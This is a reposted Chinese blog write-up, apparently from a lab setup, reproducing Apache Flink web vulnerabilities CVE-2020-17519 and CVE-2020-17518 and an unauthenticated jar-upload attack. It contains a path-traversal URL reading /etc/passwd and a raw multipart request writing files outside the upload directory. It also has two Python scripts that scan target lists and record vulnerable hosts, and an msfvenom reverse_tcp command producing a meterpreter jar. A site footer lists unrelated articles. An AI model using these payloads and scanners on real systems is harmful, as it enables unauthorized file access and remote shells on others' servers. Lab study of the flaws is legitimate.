【apache漏洞】 flink web漏洞复现

news/2024/12/22 0:29:28/文章来源:https://www.cnblogs.com/o-O-oO/p/18621587

#CVE-2020-17519 #CVE-2020-17518

flink简介

Apache Flink 是高效和分布式的通用数据处理平台,由Apache软件基金会开发的开源流处理框架,其核心是用Java和Scala编写的分布式流数据流引擎(简单来说,就是跟spark类似)。Flink 具有监控 API,可用于查询"正在运行的jobs" 和 "最近完成的jobs" 的状态和统计信息。该监控 API 被用于 Flink 自己的dashboard,同时也可用于自定义监控工具

默认监听端口(web页面): 8081

flink web默认访问是不需要权限的。

flink的主要漏洞有下面的三个,可以上传jar getshell任意文件读取上传路径遍历

环境搭建

本次采用下面的环境来进行复现

https://github.com/vulhub/vulhub/tree/master/flink/CVE-2020-17518

首先下载这个项目,然后执行命令docker-compose up -d。安装以后正常启动docker。

访问8081页面,可以正常访问,说明环境正常

CVE-2020-17519

高危:上传路径遍历读取任意文件
影响版本:1.11.0, 1.11.1, 1.11.2

Apache Flink 1.11.0中引入的更改(以及1.11.1和1.11.2中也发布)允许攻击者通过JobManager进程的REST接口读取JobManager本地文件系统上的任何文件。

POC

http://example/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd

漏洞截图:

漏洞原因分析:

任意读过程中的两次 urldecode 比较有意思,第一次decode产生 path,path 再次decode并切割产生tokens,path 会被当作路由进行匹配,而tokens会被当作最终的函数参数。

org.apache.flink.runtime.rest.handler.cluster.JobManagerCustomLogHandler#getFile 代码如下

如上图,filename 是直接从 tokens 中取出,直接拼接到 logDir 父目录下,由于 token 经过 2 次 url 解码,所以能够正常获取到 ../../ ,从而进行跨目录读

检测脚本(来自网络):

#!/usr/bin/env python
# coding:utf-8
# author:B1anda0
#affected versions are Apache Flink 1.11.0-1.11.2import requests,sys,colorama
from colorama import *
init(autoreset=True)banner='''\033[1;33;40m_______      ________    ___   ___ ___   ___        __ ______ _____ __  ___  / ____\ \    / /  ____|  |__ \ / _ \__ \ / _ \      /_ |____  | ____/_ |/ _ \ 
| |     \ \  / /| |__ ______ ) | | | | ) | | | |______| |   / /| |__  | | (_) |
| |      \ \/ / |  __|______/ /| | | |/ /| | | |______| |  / / |___ \ | |\__, |
| |____   \  /  | |____    / /_| |_| / /_| |_| |      | | / /   ___) || |  / / \_____|   \/   |______|  |____|\___/____|\___/       |_|/_/   |____/ |_| /_/                                                                                                                                                 
'''def verify():headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36"}payload= '/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd' poc=urls+payloadtry:requests.packages.urllib3.disable_warnings()#解决InsecureRequestWarning警告response=requests.get(poc,headers=headers,timeout=15,verify=False)if response.status_code==200 and "root:x" in response.content:print(u'\033[1;31;40m[+]{} is apache flink directory traversal vulnerability'.format(urls))print(response.content)#将漏洞地址输出在Vul.txt中f=open('./vul.txt','a')f.write(urls)f.write('\n')else:print('\033[1;32;40m[-]{} None'.format(urls))except:print('{} request timeout'.format(urls))if __name__ == '__main__':print (banner)if len(sys.argv)!=2:print('Example:python CVE-2020-17519.py urls.txt')else:file = open(sys.argv[1])for url in file.readlines():urls=url.strip()if urls[-1]=='/':urls=urls[:-1]verify()print ('Check Over')

CVE-2020-17518

高危:上传路径遍历,上传任意文件到指定目录
影响版本:1.5.1-1.11.2

Apache Flink 1.5.1引入了REST处理程序,该处理程序允许您通过经过恶意修改的HTTP HEADER将上传的文件写入本地文件系统上的任意位置。

POC

POST /jars/upload HTTP/1.1
Host: localhost:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Length: 187------WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/success"success
------WebKitFormBoundaryoZ8meKnrrso89R6Y--

漏洞截图:

返回报错,但是实际上传成功了

漏洞成因:

触发点在 org.apache.flink.runtime.rest.FileUploadHandler#channelRead0 ,部分函数如下

如上图,fileUpload 是用户可控的内容,则 filename 也是可控的,所以可以修改 filename 进行跨目录写操作

检测脚本

#-*- coding:utf-8 -*-
banner = """888888ba             dP                     88    `8b            88                     a88aaaa8P' .d8888b. d8888P .d8888b. dP    dP 88   `8b. 88'  `88   88   Y8ooooo. 88    88 88    .88 88.  .88   88         88 88.  .88 88888888P `88888P8   dP   `88888P' `88888P' ooooooooooooooooooooooooooooooooooooooooooooooooooooo @time:2021/01/06 CVE-2020-17518.pyC0de by NebulabdSec - @batsu                  """
print(banner)
import threadpool
import random
import requests
import argparse
import http.client
import urllib3urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
http.client.HTTPConnection._http_vsn = 10
http.client.HTTPConnection._http_vsn_str = 'HTTP/1.0'payload_CMD  = '''test'''
TARGET_URI = "/jars/upload'%2bsss"def get_ua():first_num = random.randint(55, 62)third_num = random.randint(0, 3200)fourth_num = random.randint(0, 140)os_type = ['(Windows NT 6.1; WOW64)', '(Windows NT 10.0; WOW64)', '(X11; Linux x86_64)','(Macintosh; Intel Mac OS X 10_12_6)']chrome_version = 'Chrome/{}.0.{}.{}'.format(first_num, third_num, fourth_num)ua = ' '.join(['Mozilla/5.0', random.choice(os_type), 'AppleWebKit/537.36','(KHTML, like Gecko)', chrome_version, 'Safari/537.36'])return uadef CVE_2020_17518(url):proxies = {"http":"http://127.0.0.1:8080"}# proxies = {"scoks5": "http://127.0.0.1:1081"}paramsMultipart = [('jarfile',('../../../../../tmp/test', "{}\r\n".format(payload_CMD), 'application/octet-stream'))]headers = {'User-Agent': get_ua(),"Accept": "*/*"}targetUrl = url + TARGET_URItry:res = requests.post(targetUrl,files=paramsMultipart,headers=headers,timeout=15,verify=False,proxies=proxies)# proxies={'socks5': 'http://127.0.0.1:1081'})if  len(res.text) == 25 and "Not found" in res.text and "errors" in res.text:print("[+] URL:{}--------可能存在CVE-2020-17518漏洞".format(url))with open("存在漏洞地址.txt", 'a') as fw:fw.write(url + '\n')else:print("[-] " + url + " 没有发现CVE-2020-17518漏洞.\n")except Exception as e:print(e)except:print("[-] " + url + " Request ERROR.\n")def multithreading(filename="ip.txt", pools=5):works = []with open(filename, "r") as f:for i in f:func_params = [i.rstrip("\n")]works.append((func_params, None))pool = threadpool.ThreadPool(pools)reqs = threadpool.makeRequests(CVE_2020_17518, works)[pool.putRequest(req) for req in reqs]pool.wait()def main():print("默认上传文件名为../../../../../tmp/test,内容为'''test'''")parser = argparse.ArgumentParser()parser.add_argument("-u","--url",help="Target URL; Example:http://ip:port")parser.add_argument("-f","--file",help="Url File; Example:url.txt")args = parser.parse_args()url = args.urlfile_path = args.fileif url != None and file_path ==None:CVE_2020_17518(url)elif url == None and file_path != None:multithreading(file_path, 10)  # 默认15线程if __name__ == "__main__":main()

未授权访问&上传jar获取webshell

flink默认是没有访问权限的。

本质是一个反序列化漏洞

影响版本:Apache Flink <= 1.9.1

漏洞复现:

1.生成反弹jar包

msfvenom -p java/meterpreter/reverse_tcp LHOST=XX.XX.XX.XX LPORT=4444 -f jar > rce.jar

2.上传jar,并设置vps监听

3.点击sumbit就可以获取到webshell。我这台机器是高版本,报错没有获取到shell

参考🔗

https://blog.csdn.net/u010942041/article/details/112319674
https://zhuanlan.zhihu.com/p/342355606

​> 原创 信安路漫漫

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/856617.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ORM框架与数据库交互

title: ORM框架与数据库交互 date: 2024/12/22 updated: 2024/12/22 author: cmdragon excerpt: 对象关系映射(Object-Relational Mapping,ORM)框架是简化数据库与编程语言之间交互的强大工具。通过使用ORM,开发者可以避免直接编写SQL代码,便捷地执行CRUD操作,从而提高…

实验6 模板类,文件I/O和异常处理

一、实验目的练习编写模板函数,模板类,从多态角度理解模板函数和模板类(类型作为参数) 体验标准I/O流类,文件I/O流类,字符串I/O流类的用法,能正确使用 针对问题场景,使用流类库对I/O数据进行格式化和读写操作 体验异常处理的基础用法,能解释异常处理的机制和流程 训练…

【IM专题】服务治理,是在谈什么?

先说交通治理。 没有交通治理,会是怎样的场景?见下图。交通没有治理,车流效率会大大降低,尤其是在十字路口这种有资源竞争的路段,交通很容易陷入瘫痪。 如果引入交通治理,会是怎样的场景?见下图。交通治理,通过使用信号灯或是建造立交桥,在即使有资源冲突的路口段,通…

[题解]AtCoder Beginner Contest 385(ABC385) A~F

A - Equally 显然分组情况一定是\(1+1+1\)或\(1+2\),直接判定即可。点击查看代码 #include<bits/stdc++.h> using namespace std; int a,b,c; signed main(){cin>>a>>b>>c;if((a+b==c)||(a+c==b)||(b+c==a)||(a==b&&b==c)) cout<<"…

【AI+模型】RAG 架构图解:从基础到高级的7种模式

RAG 技术通过在 AI 生成过程中引入外部知识检索,从基础的文档查询发展到多模态、Multi-Agent 体协同的智能架构,让 AI 回答更准确、更全面。 核心组件 嵌入模型: 将文本转换为向量表示 生成模型: 负责最终的内容生成 重排序模型: 优化检索结果的相关性 向量数据库:…

浅聊web前端性能测试

最近正好在做web前端的性能测试,这次就来聊聊关于这个的测试思路~最近正好在做web前端的性能测试,这次就来聊聊关于这个的测试思路~ 首先从用户的思维去思考,关于web前端性能,用户最看重的是什么...... 其实就是下面三个点:1. 加载性能(即页面加载时间+资源加载时间)2. …

使用magic-api实现增删改查分页

创建项目结构 pom.xml<?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://maven.apach…

【安全评审】“2024网络安全100强-行业应用”评分全流程细则

一 指标理解1.1 “行业应用”的核心优势是什么?1.2 评估维度有哪些?二、评审专家筛选2.1 对专家所在单位有什么要求?2.2 对专家所在行业有什么要求?2.3 对专家个人能力有什么要求?2.4 对专家组有什么要求?2.5 对专家个人价值观有什么要求?三、评分规则制定3.1 “典型案例…

《计算机组成及汇编语言原理》阅读笔记:p9-p27

《计算机组成及汇编语言原理》学习第 2 天,p9-p27 总结,总计 19 页。 一、技术总结 1.quantum physics(量子物理学) (1)quantum(量子) quantum的本意是:c. the smallest amount of sth(量子)。 In physics, a quantum is the minimum amount of any physical entity (physi…

第4章 C#的高级特性

第4章 C#的高级特性 4.1 委托 4.1.2 多播委托 对值为 null 的委托变量进行 + ​或 += ​操作,等价于为变量指定一个新值: SomeDelegate d = null; d += SomeMethod1; // 等价于 d = SomeMethod1委托是 不可变 的,因此调用 += ​和 -= ​的实质是 创建一个新的委托实例 ,…

使用frida分析白盒aes,DFA攻击

这次分析的app是:五菱汽车(8.2.1) 登录,抓包发现请求体只有sd字段,看见加密的时候,可以先使用算法助手hook java层所有加解密方法发现我们所需要的sd加密字段在java层hook不到,那加密算法应该是写在了so层,因为这个app是bb加固企业,得有脱壳机才能脱。 jadx加载dex,直接…

2024 golang安装使用详细教程以及常见问题处理(附激活至2099年)

GoLand 简介 GoLand 是一款非常强大的 Go 语言集成开发环境,由JetBrains公司开发。它提供了丰富的功能和工具,帮助开发者更高效地编写、调试和部署代码。 下面这种方式仅供交流学习,如果有能力还请支持正版 下载安装 为了方便,也可以去链接取 点击获取安装包开始安装下载完成…